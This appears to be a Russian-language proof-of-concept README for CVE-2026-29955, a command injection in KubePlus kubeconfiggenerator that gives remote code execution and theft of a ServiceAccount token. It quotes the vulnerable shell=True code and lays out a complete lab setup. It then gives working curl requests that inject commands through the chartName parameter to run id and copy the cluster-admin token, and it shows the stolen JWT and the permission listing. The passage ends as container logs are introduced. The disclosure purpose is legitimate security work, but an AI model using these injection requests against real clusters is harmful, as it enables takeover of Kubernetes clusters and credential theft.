b0b0haha/cve-2026-29955Доказательство концепции для CVE-2026-29955 — уязвимости внедрения команд в KubePlus kubeconfiggenerator, позволяющей удалённое выполнение кода и кражу токена ServiceAccount в кластерах Kubernetes.
Эта уязвимость существует в компоненте kubeconfiggenerator проекта KubePlus, позволяя злоумышленникам с доступом к HTTP-интерфейсу внедрять shell-команды через параметр chartName, выполнять произвольный код с правами root внутри контейнера и похищать токены ServiceAccount с привилегиями cluster-admin. Рекомендуемая классификация CWE: CWE-78 (внедрение OS-команд).
Конечная точка /registercrd в компоненте kubeconfiggenerator проекта KubePlus уязвима к внедрению команд. Компонент использует subprocess.Popen() с параметром shell=True для выполнения shell-команд, а предоставляемый пользователем параметр chartName напрямую конкатенируется в строку команды без какой-либо санитизации или проверки. Злоумышленник может внедрить произвольные shell-команды, сформировав вредоносное значение параметра chartName.
При обработке запросов на регистрацию CRD компонент kubeconfiggenerator загружает и распаковывает Helm-чарты. В функции download_and_untar_chart() параметр chartName напрямую конкатенируется в shell-команды:
Файл: deploy/kubeconfiggenerator.py:60-69
def run_command(cmd):
print(cmd)
cmdOut = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).communicate()
out = cmdOut[0].decode('utf-8')
err = cmdOut[1].decode('utf-8')
return out, err
Файл: deploy/kubeconfiggenerator.py:554
wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
out, err = run_command(wget)
Файл: deploy/kubeconfiggenerator.py:562
cmd = "rm -rf /" + chartName
out, err = run_command(cmd)
Из-за параметра shell=True злоумышленники могут использовать синтаксис подстановки команд $(command) для внедрения произвольных команд.
Отправив HTTP-запрос к конечной точке /registercrd с вредоносным параметром chartName, злоумышленник может выполнить произвольные команды внутри контейнера kubeconfiggenerator. Поскольку контейнер работает с правами root, а его ServiceAccount имеет привилегии cluster-admin, злоумышленник может:
# Создание конфигурации Kind-кластера
cat > kind-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: kubeplus-test
nodes:
- role: control-plane
EOF
# Создание кластера
kind create cluster --config kind-config.yaml
# Проверка кластера
kubectl cluster-info
kubectl get nodes
Ожидаемый вывод:
Kubernetes control plane is running at https://127.0.0.1:xxxxx
CoreDNS is running at https://127.0.0.1:xxxxx/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy
NAME STATUS ROLES AGE VERSION
kubeplus-test-control-plane Ready control-plane 1m v1.27.3
# Создание рабочей директории
mkdir -p /tmp/kubeplus-poc && cd /tmp/kubeplus-poc
# Загрузка плагинов KubePlus
wget https://github.com/cloud-ark/kubeplus/releases/download/kubeplus-kubectl-plugins-v4.1.4/kubeplus-kubectl-plugins-v4.1.4.tar.gz
tar -xzf kubeplus-kubectl-plugins-v4.1.4.tar.gz
# Загрузка скрипта provider-kubeconfig
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/requirements.txt
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/provider-kubeconfig.py
# Настройка Python-окружения
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
pip3 install PyYAML kubernetes
# Получение адреса API-сервера
apiserver=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
# Создание provider kubeconfig
python3 provider-kubeconfig.py -s $apiserver create default
Ожидаемый вывод:
Provider kubeconfig created: kubeplus-saas-provider.json
# Загрузка Helm-чарта KubePlus
curl -sL "https://github.com/cloud-ark/operatorcharts/raw/master/kubeplus-chart-4.2.0.tgz" -o kubeplus-chart.tgz
# Установка KubePlus
helm install kubeplus kubeplus-chart.tgz --kubeconfig=kubeplus-saas-provider.json -n default
# Ожидание готовности подов
kubectl wait --for=condition=Ready pod -l app=kubeplus -n default --timeout=180s
# Проверка установки
kubectl get pods -n default -l app=kubeplus
Ожидаемый вывод:
NAME READY STATUS RESTARTS AGE
kubeplus-deployment-57dbf6f8b9-xxxxx 5/5 Running 0 2m
# Получение имени пода
export WEBHOOK_POD=$(kubectl get pods -n default -l app=kubeplus -o jsonpath='{.items[0].metadata.name}')
# Настройка проброса портов
kubectl port-forward svc/kubeconfighelper -n default 5005:91 &
# Проверка доступности сервиса
curl -s http://localhost:5005/hello
Ожидаемый вывод:
hello world
Отправка запроса с вредоносным параметром chartName:
curl -s 'http://localhost:5005/registercrd?kind=Test&version=v1&group=test.io&plural=tests&chartURL=https://example.com/test.tgz&chartName=$(id>/tmp/pwned.txt)'
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/pwned.txt
Фактический вывод проверки:
uid=0(root) gid=0(root) groups=0(root)
curl -s 'http://localhost:5005/registercrd?kind=Test2&version=v1&group=test2.io&plural=test2s&chartURL=https://example.com/test.tgz&chartName=$(cat%20/var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)'
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt
Фактический вывод проверки:
eyJhbGciOiJSUzI1NiIsImtpZCI6Iklua3NNSkdubUtOcnZycUZkMGlJTE5meV9jVk85WFQxZ2dBZjVtOFJ0VncifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODAxNDg5MjYyLCJpYXQiOjE3Njk5NTMyNjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJrdWJlcGx1cy1kZXBsb3ltZW50LTU3ZGJmNmY4YjktcHh2YzUiLCJ1aWQiOiI4ZjBmNDQ0NS1mZTQ0LTQxMjUtYjEwMi03YzQzZDkyMjEyMmYifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Imt1YmVwbHVzLXNhYXMtcHJvdmlkZXIiLCJ1aWQiOiJlZjljYjFmZi03NWI1LTRmZmMtYjdjMS01Yjc3NjhjNWFiYzQifSwid2FybmFmdGVyIjoxNzY5OTU2ODY5fSwibmJmIjoxNzY5OTUzMjYyLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDprdWJlcGx1cy1zYWFzLXByb3ZpZGVyIn0...
STOLEN_TOKEN=$(kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt)
kubectl auth can-i --list --token="$STOLEN_TOKEN"
Фактический вывод проверки:
Resources Non-Resource URLs Resource Names Verbs
*.* [] [] [*]
[*] [] [*]
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
Журналы контейнера kubeconfiggenerator показывают выполнение внедрённой команды: